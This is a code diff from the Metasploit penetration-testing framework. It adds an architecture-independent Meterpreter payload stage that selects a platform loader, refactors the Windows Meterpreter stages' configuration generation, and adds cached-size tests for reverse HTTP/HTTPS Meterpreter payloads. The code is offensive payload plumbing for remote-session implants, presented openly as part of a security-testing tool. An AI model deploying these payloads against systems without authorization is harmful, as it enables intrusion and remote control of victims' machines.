@ -154,16 +154,17 @@ module MetasploitModule
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
# create the configuration block, which for staged connections is really simple.
config_opts = {
:arch => opts[:uuid].arch,
:exitfunk => nil,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => opts[:uuid],
:transports => [transport_config(opts)],
:extensions => [],
:ascii_str => true
arch: opts[:uuid].arch,
exitfunk: nil,
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
ascii_str: true
}
# create the configuration instance based off the parameters

View File

@ -0,0 +1,78 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/meterpreter_multi'
require 'msf/base/sessions/meterpreter_options'
###
#
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
# along with transport related configuration.
#
###
module MetasploitModule
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Architecture-Independent Meterpreter Stage',
'Description' => 'Handle Meterpreter sessions regardless of the target arch/platform',
'Author' => ['OJ Reeves'],
'PayloadCompat' => {'Convention' => 'http https'},
'License' => MSF_LICENSE,
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Session' => Msf::Sessions::Meterpreter_Multi
))
end
def stage_payload(opts={})
return '' unless opts[:uuid]
## TODO: load the datastore "stuff" from the JSON file
## and wire it into opts[:datastore].
## and if we find an instance, hydrate based on that.
## otherwise use some "sane defaults" as shown below.
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
case opts[:uuid].platform
when 'python'
require 'msf/core/payload/python/meterpreter_loader'
c.include(::Msf::Payload::Python::MeterpreterLoader)
when 'java'
require 'msf/core/payload/java/meterpreter_loader'
c.include(::Msf::Payload::Java::MeterpreterLoader)
when 'android'
require 'msf/core/payload/android/meterpreter_loader'
c.include(::Msf::Payload::Android::MeterpreterLoader)
when 'php'
require 'msf/core/payload/php/meterpreter_loader'
c.include(::Msf::Payload::Php::MeterpreterLoader)
when 'windows'
require 'msf/core/payload/windows/meterpreter_loader'
if opts[:uuid].arch == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
else
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
end
else
return ''
end
second_stage = c.new()
# wire in the appropriate values for transport and datastore configs
opts[:transport_config] = [transport_config(opts)]
opts[:datastore] = datastore
second_stage.stage_payload(opts)
end
end

View File

@ -27,7 +27,7 @@ module MetasploitModule
end
def generate_stage(opts={})
stage_meterpreter(opts)
stage_payload(opts)
end
end

View File

@ -8,7 +8,6 @@ require 'msf/core'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
###
#
@ -27,33 +26,9 @@ module MetasploitModule
'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape','sf'],
'PayloadCompat' => { 'Convention' => 'sockedi', },
'PayloadCompat' => { 'Convention' => 'sockedi'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win))
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
end
def stage_payload(opts={})
stage_meterpreter + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -8,7 +8,6 @@ require 'msf/core'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
###
#
@ -31,29 +30,4 @@ module MetasploitModule
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win))
end
def stage_payload(opts={})
stage_meterpreter + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -1697,6 +1697,28 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'mainframe/shell_reverse_tcp'
end
context 'multi/meterpreter/reverse_http' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/multi/reverse_http',
'stages/multi/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'multi/meterpreter/reverse_http'
end
context 'multi/meterpreter/reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/multi/reverse_https',
'stages/multi/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'multi/meterpreter/reverse_https'
end
context 'netware/shell/reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [

View File

@ -101,7 +101,8 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh'
'PEXEC' => '/bin/sh',
'StagerURILength' => 5
},
'Encoder' => nil,
'DisableNops' => true